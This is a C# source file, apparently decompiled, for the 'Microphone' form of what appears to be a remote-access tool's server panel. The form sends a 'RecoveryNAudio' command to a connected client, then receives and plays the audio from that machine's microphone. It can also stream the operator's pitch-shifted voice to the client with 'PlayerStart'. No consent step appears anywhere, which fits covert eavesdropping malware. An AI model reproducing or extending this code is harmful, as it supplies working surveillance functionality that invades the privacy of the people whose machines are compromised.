392 lines
13 KiB
C#
392 lines
13 KiB
C#
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Linq;
|
|
using System.Windows.Forms;
|
|
using CustomControls.RJControls;
|
|
using Leb128;
|
|
using MaterialSkin;
|
|
using MaterialSkin.Controls;
|
|
using NAudio.Wave;
|
|
using NAudio.Wave.SampleProviders;
|
|
using Server.Connectings;
|
|
using Server.Helper;
|
|
|
|
namespace Server.Forms;
|
|
|
|
public class FormMicrophone : FormMaterial
|
|
{
|
|
public Clients parrent;
|
|
|
|
public Clients client1;
|
|
|
|
public Clients client2;
|
|
|
|
public static int sampleRate = 48000;
|
|
|
|
public float Pitch = 1f;
|
|
|
|
public BufferedWaveProvider bufferedWaveProvider;
|
|
|
|
public VolumeSampleProvider volumeSampleProvider;
|
|
|
|
public G722ChatCodec g722;
|
|
|
|
public WaveOut waveOut;
|
|
|
|
private WaveIn waveIn;
|
|
|
|
private IContainer components;
|
|
|
|
public Timer timer1;
|
|
|
|
private TrackBar trackBar1;
|
|
|
|
public RJComboBox rjComboBox1;
|
|
|
|
public MaterialSwitch materialSwitch1;
|
|
|
|
private TrackBar trackBar2;
|
|
|
|
public RJComboBox rjComboBox2;
|
|
|
|
public MaterialSwitch materialSwitch2;
|
|
|
|
private MaterialLabel materialLabel1;
|
|
|
|
public GroupBox groupBox1;
|
|
|
|
public GroupBox groupBox2;
|
|
|
|
private Panel panel1;
|
|
|
|
public FormMicrophone()
|
|
{
|
|
InitializeComponent();
|
|
base.FormClosing += Closing1;
|
|
}
|
|
|
|
private void FormMicrophone_Load(object sender, EventArgs e)
|
|
{
|
|
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
|
|
ChangeScheme(this);
|
|
timer1.Start();
|
|
}
|
|
|
|
private void ChangeScheme(object sender)
|
|
{
|
|
rjComboBox1.BorderColor = FormMaterial.PrimaryColor;
|
|
rjComboBox2.BorderColor = FormMaterial.PrimaryColor;
|
|
}
|
|
|
|
private void Closing1(object sender, EventArgs e)
|
|
{
|
|
if (client1 != null)
|
|
{
|
|
client1.Disconnect();
|
|
}
|
|
if (client2 != null)
|
|
{
|
|
client2.Disconnect();
|
|
}
|
|
if (g722 != null)
|
|
{
|
|
g722.Dispose();
|
|
}
|
|
if (waveIn != null)
|
|
{
|
|
waveIn.StopRecording();
|
|
waveIn.Dispose();
|
|
}
|
|
if (waveOut != null)
|
|
{
|
|
waveOut.Stop();
|
|
waveOut.Dispose();
|
|
}
|
|
if (bufferedWaveProvider != null)
|
|
{
|
|
bufferedWaveProvider = null;
|
|
}
|
|
}
|
|
|
|
private void timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
if (!parrent.itsConnect)
|
|
{
|
|
Close();
|
|
}
|
|
if (client1 != null && !client1.itsConnect)
|
|
{
|
|
Close();
|
|
}
|
|
if (client2 != null && !client2.itsConnect)
|
|
{
|
|
Close();
|
|
}
|
|
}
|
|
|
|
private void trackBar2_Scroll(object sender, EventArgs e)
|
|
{
|
|
float num = ((trackBar2.Value > 11) ? ((float)(trackBar2.Value - 1) / 10f) : ((trackBar2.Value >= 11) ? 1f : ((float)(trackBar2.Value - 1) / 10f * 0.5f + 0.5f)));
|
|
if (Pitch != num)
|
|
{
|
|
Pitch = num;
|
|
client2.Send(LEB128.Write(new object[2] { "Tone", num }));
|
|
}
|
|
}
|
|
|
|
private void trackBar1_Scroll(object sender, EventArgs e)
|
|
{
|
|
if (materialSwitch1.Checked)
|
|
{
|
|
volumeSampleProvider.Volume = (float)trackBar1.Value / 10f;
|
|
}
|
|
}
|
|
|
|
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
if (materialSwitch1.Checked)
|
|
{
|
|
if (rjComboBox1.SelectedIndex == -1)
|
|
{
|
|
materialSwitch1.Checked = false;
|
|
return;
|
|
}
|
|
g722 = new G722ChatCodec();
|
|
bufferedWaveProvider = new BufferedWaveProvider(g722.RecordFormat);
|
|
bufferedWaveProvider.DiscardOnBufferOverflow = true;
|
|
client1.Send(LEB128.Write(new object[2]
|
|
{
|
|
"RecoveryNAudio",
|
|
(byte)rjComboBox1.SelectedIndex
|
|
}));
|
|
volumeSampleProvider = new VolumeSampleProvider(bufferedWaveProvider.ToSampleProvider());
|
|
volumeSampleProvider.Volume = (float)trackBar1.Value / 100f;
|
|
waveOut = new WaveOut();
|
|
waveOut.Volume = 1f;
|
|
waveOut.Init(volumeSampleProvider);
|
|
waveOut.Play();
|
|
}
|
|
else
|
|
{
|
|
if (waveOut != null)
|
|
{
|
|
waveOut.Stop();
|
|
waveOut.Dispose();
|
|
}
|
|
if (g722 != null)
|
|
{
|
|
g722.Dispose();
|
|
}
|
|
if (bufferedWaveProvider != null)
|
|
{
|
|
bufferedWaveProvider = null;
|
|
}
|
|
client1.Send(LEB128.Write(new object[2] { "RecoveryStopNAudio", Pitch }));
|
|
}
|
|
}
|
|
|
|
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
if (materialSwitch2.Checked)
|
|
{
|
|
client2.Send(LEB128.Write(new object[2] { "PlayerStart", Pitch }));
|
|
g722 = new G722ChatCodec();
|
|
waveIn = new WaveIn();
|
|
waveIn.DeviceNumber = rjComboBox2.SelectedIndex;
|
|
waveIn.DataAvailable += waveIn_DataAvailable;
|
|
waveIn.WaveFormat = g722.RecordFormat;
|
|
waveIn.StartRecording();
|
|
}
|
|
else
|
|
{
|
|
client2.Send(LEB128.Write(new object[1] { "PlayerStop" }));
|
|
if (waveIn != null)
|
|
{
|
|
waveIn.StopRecording();
|
|
waveIn.Dispose();
|
|
}
|
|
if (g722 != null)
|
|
{
|
|
g722.Dispose();
|
|
}
|
|
}
|
|
}
|
|
|
|
public void waveIn_DataAvailable(object sender, WaveInEventArgs e)
|
|
{
|
|
client2.Send(LEB128.Write(new object[2]
|
|
{
|
|
"PlayerBuffer",
|
|
g722.Encode(e.Buffer, 0, e.Buffer.Length)
|
|
}));
|
|
}
|
|
|
|
public void Buffer(byte[] e)
|
|
{
|
|
if (waveOut != null && bufferedWaveProvider != null && g722 != null)
|
|
{
|
|
byte[] array = g722.Decode(e, 0, e.Length);
|
|
bufferedWaveProvider.AddSamples(array, 0, array.Count());
|
|
}
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && components != null)
|
|
{
|
|
components.Dispose();
|
|
}
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = new System.ComponentModel.Container();
|
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
|
this.groupBox1 = new System.Windows.Forms.GroupBox();
|
|
this.trackBar1 = new System.Windows.Forms.TrackBar();
|
|
this.rjComboBox1 = new CustomControls.RJControls.RJComboBox();
|
|
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
|
|
this.groupBox2 = new System.Windows.Forms.GroupBox();
|
|
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
|
|
this.trackBar2 = new System.Windows.Forms.TrackBar();
|
|
this.rjComboBox2 = new CustomControls.RJControls.RJComboBox();
|
|
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
|
|
this.panel1 = new System.Windows.Forms.Panel();
|
|
this.groupBox1.SuspendLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.trackBar1).BeginInit();
|
|
this.groupBox2.SuspendLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.trackBar2).BeginInit();
|
|
base.SuspendLayout();
|
|
this.timer1.Enabled = true;
|
|
this.timer1.Interval = 1000;
|
|
this.timer1.Tick += new System.EventHandler(timer1_Tick);
|
|
this.groupBox1.Controls.Add(this.trackBar1);
|
|
this.groupBox1.Controls.Add(this.rjComboBox1);
|
|
this.groupBox1.Controls.Add(this.materialSwitch1);
|
|
this.groupBox1.Enabled = false;
|
|
this.groupBox1.Location = new System.Drawing.Point(26, 88);
|
|
this.groupBox1.Name = "groupBox1";
|
|
this.groupBox1.Size = new System.Drawing.Size(300, 149);
|
|
this.groupBox1.TabIndex = 29;
|
|
this.groupBox1.TabStop = false;
|
|
this.groupBox1.Text = "Client";
|
|
this.trackBar1.Location = new System.Drawing.Point(25, 55);
|
|
this.trackBar1.Maximum = 100;
|
|
this.trackBar1.Name = "trackBar1";
|
|
this.trackBar1.Size = new System.Drawing.Size(250, 45);
|
|
this.trackBar1.TabIndex = 28;
|
|
this.trackBar1.Value = 10;
|
|
this.trackBar1.Scroll += new System.EventHandler(trackBar1_Scroll);
|
|
this.rjComboBox1.BackColor = System.Drawing.Color.White;
|
|
this.rjComboBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
|
|
this.rjComboBox1.BorderSize = 1;
|
|
this.rjComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
|
|
this.rjComboBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
|
|
this.rjComboBox1.ForeColor = System.Drawing.Color.DimGray;
|
|
this.rjComboBox1.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
|
|
this.rjComboBox1.ListBackColor = System.Drawing.Color.White;
|
|
this.rjComboBox1.ListTextColor = System.Drawing.Color.DimGray;
|
|
this.rjComboBox1.Location = new System.Drawing.Point(25, 19);
|
|
this.rjComboBox1.MinimumSize = new System.Drawing.Size(200, 30);
|
|
this.rjComboBox1.Name = "rjComboBox1";
|
|
this.rjComboBox1.Padding = new System.Windows.Forms.Padding(1);
|
|
this.rjComboBox1.Size = new System.Drawing.Size(250, 30);
|
|
this.rjComboBox1.TabIndex = 27;
|
|
this.rjComboBox1.Texts = "";
|
|
this.materialSwitch1.AutoSize = true;
|
|
this.materialSwitch1.Depth = 0;
|
|
this.materialSwitch1.Location = new System.Drawing.Point(6, 103);
|
|
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
|
|
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
|
|
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
|
|
this.materialSwitch1.Name = "materialSwitch1";
|
|
this.materialSwitch1.Ripple = true;
|
|
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
|
|
this.materialSwitch1.TabIndex = 26;
|
|
this.materialSwitch1.Text = "Start";
|
|
this.materialSwitch1.UseVisualStyleBackColor = true;
|
|
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
|
|
this.groupBox2.Controls.Add(this.materialLabel1);
|
|
this.groupBox2.Controls.Add(this.trackBar2);
|
|
this.groupBox2.Controls.Add(this.rjComboBox2);
|
|
this.groupBox2.Controls.Add(this.materialSwitch2);
|
|
this.groupBox2.Enabled = false;
|
|
this.groupBox2.Location = new System.Drawing.Point(348, 88);
|
|
this.groupBox2.Name = "groupBox2";
|
|
this.groupBox2.Size = new System.Drawing.Size(300, 149);
|
|
this.groupBox2.TabIndex = 30;
|
|
this.groupBox2.TabStop = false;
|
|
this.groupBox2.Text = "You";
|
|
this.materialLabel1.AutoSize = true;
|
|
this.materialLabel1.Depth = 0;
|
|
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
|
|
this.materialLabel1.Location = new System.Drawing.Point(6, 64);
|
|
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
|
|
this.materialLabel1.Name = "materialLabel1";
|
|
this.materialLabel1.Size = new System.Drawing.Size(85, 19);
|
|
this.materialLabel1.TabIndex = 29;
|
|
this.materialLabel1.Text = "Tone Speak";
|
|
this.trackBar2.Location = new System.Drawing.Point(97, 55);
|
|
this.trackBar2.Maximum = 21;
|
|
this.trackBar2.Minimum = 1;
|
|
this.trackBar2.Name = "trackBar2";
|
|
this.trackBar2.Size = new System.Drawing.Size(197, 45);
|
|
this.trackBar2.TabIndex = 28;
|
|
this.trackBar2.Value = 10;
|
|
this.trackBar2.Scroll += new System.EventHandler(trackBar2_Scroll);
|
|
this.rjComboBox2.BackColor = System.Drawing.Color.White;
|
|
this.rjComboBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
|
|
this.rjComboBox2.BorderSize = 1;
|
|
this.rjComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
|
|
this.rjComboBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
|
|
this.rjComboBox2.ForeColor = System.Drawing.Color.DimGray;
|
|
this.rjComboBox2.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
|
|
this.rjComboBox2.ListBackColor = System.Drawing.Color.White;
|
|
this.rjComboBox2.ListTextColor = System.Drawing.Color.DimGray;
|
|
this.rjComboBox2.Location = new System.Drawing.Point(25, 19);
|
|
this.rjComboBox2.MinimumSize = new System.Drawing.Size(200, 30);
|
|
this.rjComboBox2.Name = "rjComboBox2";
|
|
this.rjComboBox2.Padding = new System.Windows.Forms.Padding(1);
|
|
this.rjComboBox2.Size = new System.Drawing.Size(250, 30);
|
|
this.rjComboBox2.TabIndex = 27;
|
|
this.rjComboBox2.Texts = "";
|
|
this.materialSwitch2.AutoSize = true;
|
|
this.materialSwitch2.Depth = 0;
|
|
this.materialSwitch2.Location = new System.Drawing.Point(6, 103);
|
|
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
|
|
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
|
|
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
|
|
this.materialSwitch2.Name = "materialSwitch2";
|
|
this.materialSwitch2.Ripple = true;
|
|
this.materialSwitch2.Size = new System.Drawing.Size(92, 37);
|
|
this.materialSwitch2.TabIndex = 26;
|
|
this.materialSwitch2.Text = "Start";
|
|
this.materialSwitch2.UseVisualStyleBackColor = true;
|
|
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
|
|
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.panel1.Location = new System.Drawing.Point(3, 64);
|
|
this.panel1.Name = "panel1";
|
|
this.panel1.Size = new System.Drawing.Size(667, 198);
|
|
this.panel1.TabIndex = 31;
|
|
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
|
|
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
|
this.BackColor = System.Drawing.Color.White;
|
|
base.ClientSize = new System.Drawing.Size(673, 265);
|
|
base.Controls.Add(this.groupBox2);
|
|
base.Controls.Add(this.groupBox1);
|
|
base.Controls.Add(this.panel1);
|
|
base.Name = "FormMicrophone";
|
|
this.Text = "Microphone";
|
|
base.Load += new System.EventHandler(FormMicrophone_Load);
|
|
this.groupBox1.ResumeLayout(false);
|
|
this.groupBox1.PerformLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.trackBar1).EndInit();
|
|
this.groupBox2.ResumeLayout(false);
|
|
this.groupBox2.PerformLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.trackBar2).EndInit();
|
|
base.ResumeLayout(false);
|
|
}
|
|
}
|